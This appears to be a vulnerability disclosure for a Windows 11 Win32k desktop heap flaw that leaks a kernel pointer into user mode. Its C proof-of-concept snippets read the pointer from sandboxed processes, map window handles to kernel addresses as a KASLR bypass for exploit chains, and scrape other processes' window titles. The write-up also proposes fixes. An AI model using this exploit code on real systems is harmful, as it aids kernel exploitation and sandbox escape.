CVE-2026-50416: One QWORD Too Many in the Desktop Heap
On Windows 11 Insider build 10.0.28020.2149, the user mode mapping of the Win32k desktop heap exposed a raw kernel session pool pointer at offset 0x100.
The read itself is almost offensively small:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);In my test session, that returned:
0xffffc600dcc00040
The value stayed the same across processes on the same desktop and changed after a reboot. A process launched on another desktop received a different value because it had a different desktop heap. From this one QWORD, the PoC recovered the kernel desktop heap base and then used user32!gSharedInfo to derive the kernel addresses of live window objects.
The same read worked from Low integrity, AppContainer, an LPAC configuration with zero capabilities, and a Low integrity AppContainer child with zero capabilities.
The desktop heap is supposed to be shared. The kernel pointer is not.
Win32k stores USER objects such as windows, menus, classes, hooks, and related metadata in desktop heaps. Each desktop has its own heap. Part of that heap is mapped into processes associated with the desktop so user mode can read shared GUI state without asking the kernel for every field.
On the tested x64 build, the user mode mapping can be reached through the current thread's TEB client data:
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];The offsets are build specific, but the route is simple:
GS:[0x30]
-> TEB
-> ClientInfo at TEB + 0x800
-> ClientInfo[5]
-> user mode desktop heap mapping
The PoC calls VirtualQuery on the returned address and records the mapped region and its protection. Nothing has gone wrong yet. A read-only desktop heap mapping is normal Win32k behavior.
The problem begins 256 bytes into it.
The main PoC reads one QWORD from the mapped heap:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);The value passed the basic checks expected from a kernel virtual address on the tested system:
- Canonical high bits
- Eight byte alignment
- Not one of the known sentinel values filtered by the PoC
- Stable while windows were created and destroyed
- Identical in tested processes on the same desktop
- Different after reboot
- Different on another desktop
The stability test creates STATIC, BUTTON, and EDIT windows, reads the value before creation, reads it again while the windows exist, destroys them, and reads it a third time.
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);
HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);
DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);
ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);All three reads returned the same value. Window allocation activity did not move it. That behavior is consistent with a field in the desktop heap metadata rather than a short-lived object pointer.
The cross-process property is just as important. Two processes attached to the same desktop observe the same leaked value because they are looking at the same desktop heap. After a reboot, KASLR gives the session a new address. A child placed on another desktop observes another pointer because that desktop owns another heap.
That gives the leak a useful identity:
same boot + same desktop -> same pointer
same boot + different desktop -> different pointer
new boot -> different pointer
On the tested build, the leaked pointer sits 0x40 bytes above the kernel desktop heap base used by the PoC:
ULONG64 kernel_desktop_heap_base = leaked - 0x40;Using the recorded session value:
leaked pointer = 0xffffc600dcc00040
kernel desktop heap base = 0xffffc600dcc00000
This relationship is build specific. For the build used during testing, it gives the kernel-side anchor needed for the next step.
One pointer is already useful. An address for a chosen object is much more useful.
user32.dll exports gSharedInfo, which exposes the USER handle entry list and the size of each entry:
typedef struct {
PVOID psi;
PVOID aheList;
ULONG HeEntrySize;
} SHAREDINFO;
SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
GetModuleHandleA("user32.dll"),
"gSharedInfo"
);An HWND contains an index into the USER handle table. The PoC takes the low 16 bits of the handle, walks to the matching entry, and reads the desktop heap offset stored there.
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;The same offset names the object in both mappings:
BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;So the full calculation is:
kernel desktop heap base = desktop_heap[0x100] - 0x40
handle index = HWND & 0xffff
heap offset = aheList[handle index].offset
kernel window address = kernel desktop heap base + heap offset
The PoC creates six window classes and performs the calculation for each one:
STATICBUTTONEDITLISTBOXSCROLLBARCOMBOBOX
For every object, it prints the HWND, handle index, user mode object address, heap offset, and kernel address.
HWND
-> low 16-bit handle index
-> gSharedInfo handle entry
-> desktop heap offset
-> kernel desktop heap base + offset
-> kernel address of that window object
This is the part that turns the disclosure from a loose kernel pointer into an address oracle for selected USER objects on the tested desktop heap.
The desktop heap arrives through a shared mapping. Integrity levels and AppContainer restrictions do not rewrite the contents of that mapping for each process. If the process receives the desktop heap, it receives the QWORD at 0x100 with it.
The sandbox PoC launches children in several contexts and makes each child read the value from its own TEB and its own desktop heap mapping.
| Context | Configuration | Result |
|---|---|---|
| Medium integrity | Standard user process | Leaked |
| Low integrity | Token integrity lowered to Low | Leaked |
| AppContainer | Zero requested capabilities | Leaked |
| LPAC configuration | All application packages opt-out policy, zero requested capabilities | Leaked |
| Low integrity AppContainer | Low IL plus AppContainer, zero requested capabilities | Leaked |
| Alternate desktop | Child assigned to a new desktop | Leaked a different value |
The first five children were attached to the default desktop and returned the same address. The alternate desktop child returned another address because it received another desktop heap.
The child output has a compact format so the parent can compare results:
RESULT|LowIL+AppContainer|LEAKED|0xffffc600dcc00040|1|1234
The stricter helper also records the token state and capability count:
RESULT|LPAC_LowIL_NoCaps|LEAKED|0xffffc600dcc00040|IL=Low|AC=1|caps=0|PID=1234
The important detail is not that the child can call a special Win32k API. It does not need one. Once the mapping is present, the leak is a normal user mode memory read.
A separate helper performs the read without calling CreateWindow.
It checks the desktop heap pointer, reads desktop_heap[0x100], explicitly loads user32.dll, checks the mapping again, and still never creates a window. Another renderer-like child loads user32.dll, performs the same read, and exits without creating any window.
The useful result is straightforward:
No window object needs to be created before reading the leaked QWORD.
The leak belongs to the desktop heap mapping itself, not to a window created by the attacking process.
supporting_proof_remote_trigger.c creates a Low integrity AppContainer child with zero requested capabilities. The child does only a small amount of work:
LoadLibraryA("user32.dll");
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);Recorded output:
RENDERER|LEAKED|0xffffc600dcc00040|AC=1|IL=0x1000|NoWindowCreated
That demonstrates the read from a renderer-like token configuration. A separate browser memory corruption bug that already gives native code execution in such a process would not need another information disclosure before reading this desktop heap pointer.
Once I had a reliable pointer, I scanned the mapped region to see what else was present.
The scanner found six to ten additional unique QWORD values per run that passed the same canonical-address and alignment checks. The exact number changed with desktop activity. Offset 0x100 was the stable primary leak, but it was not the only value with a kernel address shape in the mapping.
The sensitive-data helper enumerates top-level windows with EnumWindows, collects their owning PIDs and titles, and then searches the desktop heap mapping for the same titles as UTF-16 strings.
In the recorded run it found twenty unique titles belonging to other processes. The examples included browser tabs, Discord, Explorer, Spotify, and system tray windows.
The program only prints a title after both conditions are true:
- The string exists in the mapped desktop heap region.
EnumWindowsreports a window with that title and an owning PID different from the test process.
That makes the output easy to verify instead of relying on random printable strings found in memory.
The helper also scans DWORD values in the mapping. A value is counted only when:
- It looks like a plausible PID.
OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION)succeeds for it.- The PID also owns a window found by
EnumWindows.
The recorded run found 605 matching DWORD occurrences. That is a count of occurrences in the heap, not 605 unique processes. The same PID can appear more than once.
The helper creates an EDIT control with ES_PASSWORD, sets its text to SecretPassword123, and searches the mapped region for the SecretP prefix. It was not found in the tested run.
So the mapping exposed titles, PID occurrences, and kernel-shaped values, while the tested password string did not appear there.
For a Win32k memory corruption bug, knowing that an object exists is not the same as knowing where it lives in kernel memory.
Without the disclosure, the attacker has to deal with an unknown desktop heap base and unknown object addresses. With the disclosure, the address side becomes:
read one QWORD
subtract 0x40
read the target handle entry
add its heap offset
For a chosen HWND, the attacker now has the corresponding kernel desktop heap address on the tested build. That can help with:
- Tracking a target object through heap activity
- Distinguishing the intended object from neighboring allocations
- Calculating the address used by a separate read, write, or corruption primitive
- Checking whether heap shaping produced the expected layout
- Removing desktop heap address guessing from a Win32k exploit chain
The leak solves the address problem. Heap shaping, object replacement, and the memory corruption primitive remain separate parts of the exploit.
That division matters. KASLR does not stop memory corruption. It makes reliable targeting harder. This QWORD removes that uncertainty for the desktop heap region used by the PoC.
Windows 11 Insider Build 10.0.28020.2149
Standard user
Medium integrity baseline
kaslr_bypass_poc.c: main leak and window-address resolution PoCkaslr_sandbox_proof.c: Medium IL, Low IL, AppContainer, LPAC configuration, Low IL AppContainer, and alternate desktop testssupporting_proof_no_window.c: read without creating a windowsupporting_proof_no_caps_lpac.c: zero-capability AppContainer and LPAC configurationssupporting_proof_sensitive_data.c: titles, PID occurrences, extra pointer scan, and password-field checksupporting_proof_exploitability.c: six window classes and kernel-address calculationssupporting_proof_remote_trigger.c: renderer-like Low IL AppContainer childcompile.bat: build menu
Run:
compile.batSelect the target from the menu.
The main PoC can also be compiled directly from a Visual Studio developer command prompt:
cl /O2 /Fe:kaslr_bypass_poc.exe kaslr_bypass_poc.c /link user32.lib ntdll.libRun the main PoC twice without rebooting:
kaslr_bypass_poc.exe
kaslr_bypass_poc.exeThe pointer at desktop_heap + 0x100 should be identical in both runs.
Open a second terminal and run it from another process on the same desktop. The value should match again.
Reboot and repeat. The value should change.
kaslr_sandbox_proof.exeThe test launches each child, captures its output, and compares the leaked values. Children on the default desktop should report the same value. The alternate desktop child should report a different value.
supporting_proof_no_window.exe
supporting_proof_no_caps_lpac.exe
supporting_proof_sensitive_data.exe
supporting_proof_exploitability.exe
supporting_proof_remote_trigger.exeEach helper isolates one part of the result so it can be reproduced without reading through the output of the full PoC.
The user mode mapping should not contain raw kernel virtual addresses.
The smallest fix is to sanitize the desktop heap header field before the page becomes visible in user mode. Windows already uses an opaque 0x6000000000 value for other desktop heap pointer fields, so the same style of replacement could be used here if user mode still needs the field.
If user mode does not need the header page, the cleaner fix is not to expose that page in the shared mapping.
The regression test is simple: create processes at Medium IL, Low IL, AppContainer, and LPAC configurations, map the desktop heap, and reject any canonical kernel address found in the user-visible header.
The entire chain begins with one ordinary read from a read-only mapping:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);That QWORD identifies the kernel desktop heap. gSharedInfo supplies the per-object offset. Together they turn a user mode HWND into the corresponding kernel address on the tested build.
No complicated trigger is hiding here. Windows put the desktop heap where user mode could read it, then left one kernel pointer inside the part it shared.
One QWORD was enough.